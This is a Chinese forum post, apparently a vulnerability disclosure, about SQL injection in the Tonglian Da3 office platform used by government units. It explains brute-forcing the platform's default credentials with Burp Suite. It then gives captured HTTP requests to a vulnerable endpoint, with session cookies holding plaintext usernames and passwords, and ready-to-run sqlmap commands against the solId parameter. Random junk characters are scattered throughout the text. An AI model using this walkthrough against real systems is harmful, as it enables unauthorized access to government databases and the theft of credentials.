同联Da3协同办公平台前台通用sql injection漏洞

admin

平台简介： 9 z& c8 C5 ^' F, W. N2 N8 l

 

6 W3 j7 G, ^; L: H- Y; i+ i

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
# D$ }" I2 G9 b! ]5 i. j2 P1 D同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ ( b% S7 w- s. B- V

' A* R: U5 v: K9 u8 i' a5 r

7 p7 `+ n2 r/ J. c; G% V9 r1 o   $ o2 |7 H+ y5 c

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

( G# Y/ G* r* D, j6 }& i  

0 f- W6 Q+ E' u4 _; j

' ]9 v7 f+ u8 S: p5 ] http://1.1.1.1:7197/cap-aco/#（案例2-）

% c8 j3 I, G$ i1 o( T, w

http://www.XXOO.com （案例1-官网网站） Q7 f3 v! B7 z+ x8 D

& U- A e9 ^9 ]. v# V' ?: }% ]  

4 t/ O; {% ?- X+ S

漏洞详情:

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 : r m% z; k( ]1 m

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

& _, Q9 h* Z" ?# x7 \  

 

9 x$ _* r# A' T6 F. P+ w

( q4 |! @( X) c" Q/ [, ~% Q status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： + r: a" P% f" u1 {

& O" S- r$ ?" ~! V; T& V 1、案例1-官方网站 9 ?# @" U) s: }. S; x: y

' C4 }# ?9 ^4 N9 F GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

; H- [) I j* R9 W0 O' D% e8 O+ r Host: www.XXOO.com % p% `! Z1 c/ _+ D: j m/ S: T

# `% h) k- I/ U& [8 G

( \! Z4 O, e' b7 Z9 z( u0 j Proxy-Connection: Keep-Alive , f6 B4 m' v1 r3 d

+ z% M$ p/ V6 N" k" U& U/ O Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN 2 I: s( I/ P( T; b& L0 S

% W2 t5 W4 T: U( W

Content-Type: application/json # ^2 p- A0 w& v" {! @. P

1 R- m) W6 O; r" L User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko : J6 s; Z* }3 Q4 Z. [

; ~. ]1 t( W( M; ^$ P7 C

. c- @) P; L2 ]4 h, }# s X-Requested-With: XMLHttpRequest 9 e, T! r% U0 t9 ~& m4 w! C

) O( L( O3 s/ L& v T: C6 \; B

0 u8 F7 Q; d4 F2 {) b Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

* ?( V4 d& b- _+ _5 G, C

$ ?2 s) H6 L4 }9 w- x$ y; w4 ` Accept-Encoding: gzip, deflate, sdch

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e - U: |- A3 u$ S

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

  ! l; }: p9 r2 I* r ]

$ \- f" Q3 s6 O* N5 J   : u' W4 K& h0 {4 C

( W- d1 |$ j* @4 b

 

; d7 V8 G9 n4 W+ P

1 b& T. v* ^6 O; `4 V1 E# |6 J. n  

# v# o4 S7 r" c o  

8 O- A$ B4 m9 w8 t. ?

2、案例2-某天河云平台

6 d* A- W* h$ d" H+ z

9 F7 P0 U$ X: B7 G" S GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

- d; a8 q+ f4 ]7 C Host: 1.1.1.:7197 % W% X y" r3 u2 j9 ^7 |; A: u

* h2 y4 ^ d, K* G7 M4 D6 v9 i Accept: application/json, text/javascript, */*; q=0.01

! R+ l) _: \+ j+ ~/ G

X-Requested-With: XMLHttpRequest

- F+ R1 p7 J7 s, X, j1 K9 G9 @+ P

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/json % r* D E# u. z, V+ t5 Z. U

2 S+ P9 d( F$ {- E) t, q Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

V, @5 p* z. p2 S: G

& Y( N0 W8 g& h' Q$ s Accept-Language: zh-CN,zh;q=0.8

; t' r, i5 `- Z' v7 C Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

Connection: close # h; z: q$ B$ `' Q

0 \# o. Y5 \6 A0 u$ a6 F3 ? U! Q 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: ) K5 k8 W8 z! ^ A

3 ?0 y: N; d; g5 e

  - n; ~9 a* P, |- W9 p0 X

- m& w5 ~# ]; I; F+ B: X* R6 U! O